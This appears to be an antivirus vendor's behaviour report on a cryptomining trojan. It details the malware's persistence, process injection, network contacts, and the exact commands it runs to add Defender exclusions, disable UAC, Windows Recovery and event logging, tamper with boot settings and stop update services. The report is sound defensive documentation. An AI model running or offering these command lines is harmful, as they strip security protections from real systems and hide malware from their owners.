Trojan.Siggen32.43149

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'jusched' = '%APPDATA%\jusched\jusched.exe'
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'jusched' = '"%APPDATA%\jusched\jusched.exe"'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\jusched.lnk
<SYSTEM32>\tasks\microsoft\windows\shell\updatedetection
<SYSTEM32>\tasks\dialersvc64

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\System] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\System] 'ImagePath' = '%ALLUSERSPROFILE%\System\System32.exe'

Creates the following services

'System' %ALLUSERSPROFILE%\System\System32.exe

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)
User Account Control (UAC)
Windows Recovery Environment (WinRE)
Windows Event Logging

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%TEMP%\823e74549a4c\jusched.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'jusched.exe'

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="BlkDoT" dir=out action=block protocol=tcp remoteport=853 enable=yes

Injects code into

the following system processes:

<SYSTEM32>\dllhost.exe
<SYSTEM32>\searchprotocolhost.exe
<SYSTEM32>\searchfilterhost.exe
<SYSTEM32>\dialer.exe

Modifies file system

Creates the following files

%LOCALAPPDATA%\microsoft\windows\05e8fe5b.exe
%APPDATA%\jusched\jusched.exe
%LOCALAPPDATA%\microsoft\windowsservices\svchost.dat
%TEMP%\d26145181d3f\8b063e64.dll
%TEMP%\fa8a610db7cd\470adc78.dll
%LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
%TEMP%\19eb17b099ee\5b29b9b3.dll
%TEMP%\224efa4a238a\miner.exe
%TEMP%\823e74549a4c\jusched.exe
%ALLUSERSPROFILE%\system\system32.exe
%WINDIR%\temp\__psscriptpolicytest_22imciai.0u2.ps1
%WINDIR%\temp\__psscriptpolicytest_hxpgvc0o.gmx.psm1

Sets the 'hidden' attribute to the following files

%LOCALAPPDATA%\microsoft\windowsservices\svchost.dat

Deletes following files that it created itself

%TEMP%\d26145181d3f\8b063e64.dll
%TEMP%\fa8a610db7cd\470adc78.dll
%WINDIR%\temp\__psscriptpolicytest_22imciai.0u2.ps1
%WINDIR%\temp\__psscriptpolicytest_hxpgvc0o.gmx.psm1

Moves the following system files

from C:\recovery\windowsre\winre.wim to C:\recovery\windowsre\winre.bak

Modifies the HOSTS file.

Network activity

Connects to

'ip##pi.com':80

TCP

HTTP GET requests

http://ip##pi.com/line/?fi############

Other

'17#.#60.157.96':7878

UDP

DNS ASK ip##pi.com

Miscellaneous

Creates and executes the following

'%LOCALAPPDATA%\microsoft\windows\05e8fe5b.exe'
'%TEMP%\224efa4a238a\miner.exe'
'%TEMP%\823e74549a4c\jusched.exe'
'%APPDATA%\jusched\jusched.exe'
'%ALLUSERSPROFILE%\system\system32.exe'

Restarts the analyzed sample

Executes the following

'<SYSTEM32>\schtasks.exe' /Query /TN "jusched"
'<SYSTEM32>\schtasks.exe' /Create /TN "jusched" /TR "%APPDATA%\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /F
'<SYSTEM32>\schtasks.exe' /Create /TN "jusched" /TR "%APPDATA%\jusched\jusched.exe" /SC ONLOGON /F
'<SYSTEM32>\schtasks.exe' /Query /TN "\Microsoft\Windows\Shell\UpdateDetection"
'<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Shell\UpdateDetection" /F
'<SYSTEM32>\schtasks.exe' /Create /TN "\Microsoft\Windows\Shell\UpdateDetection" /TR "%APPDATA%\jusched\jusched.exe" /SC ONSTART /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\dllhost.exe'
'<SYSTEM32>\searchprotocolhost.exe'
'<SYSTEM32>\rundll32.exe' "%TEMP%\d26145181d3f\8b063e64.dll",ExcludeMain
'<SYSTEM32>\searchfilterhost.exe'
'<SYSTEM32>\cmd.exe' /c powershell -NoP -W Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 -Type DWord -Force"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 -Type DWord -Force"
'<SYSTEM32>\reagentc.exe' /disable
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy IgnoreAllFailures
'<SYSTEM32>\bcdedit.exe' /set {bootmgr} displaybootmenu No
'<SYSTEM32>\bcdedit.exe' /timeout 0
'<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
'<SYSTEM32>\sc.exe' stop UsoSvc
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\sc.exe' stop dosvc
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
'<SYSTEM32>\dialer.exe'
'<SYSTEM32>\sc.exe' delete "System"
'<SYSTEM32>\sc.exe' create "System" binpath= "%ALLUSERSPROFILE%\System\System32.exe" start= "auto"
'<SYSTEM32>\sc.exe' stop eventlog
'<SYSTEM32>\sc.exe' start "System"
'<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "%TEMP%\224efa4a238a\miner.exe"
'<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
'<SYSTEM32>\schtasks.exe' /Query /TN "jusched"' (with hidden window)
'<SYSTEM32>\schtasks.exe' /Create /TN "jusched" /TR "%APPDATA%\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /F' (with hidden window)
'<SYSTEM32>\schtasks.exe' /Create /TN "jusched" /TR "%APPDATA%\jusched\jusched.exe" /SC ONLOGON /F' (with hidden window)
'<SYSTEM32>\schtasks.exe' /Query /TN "\Microsoft\Windows\Shell\UpdateDetection"' (with hidden window)
'<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Shell\UpdateDetection" /F' (with hidden window)
'<SYSTEM32>\schtasks.exe' /Create /TN "\Microsoft\Windows\Shell\UpdateDetection" /TR "%APPDATA%\jusched\jusched.exe" /SC ONSTART /RU SYSTEM /RL HIGHEST /F' (with hidden window)
'%TEMP%\224efa4a238a\miner.exe' ' (with hidden window)
'%TEMP%\823e74549a4c\jusched.exe' ' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%TEMP%\823e74549a4c\jusched.exe'' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'jusched.exe'' (with hidden window)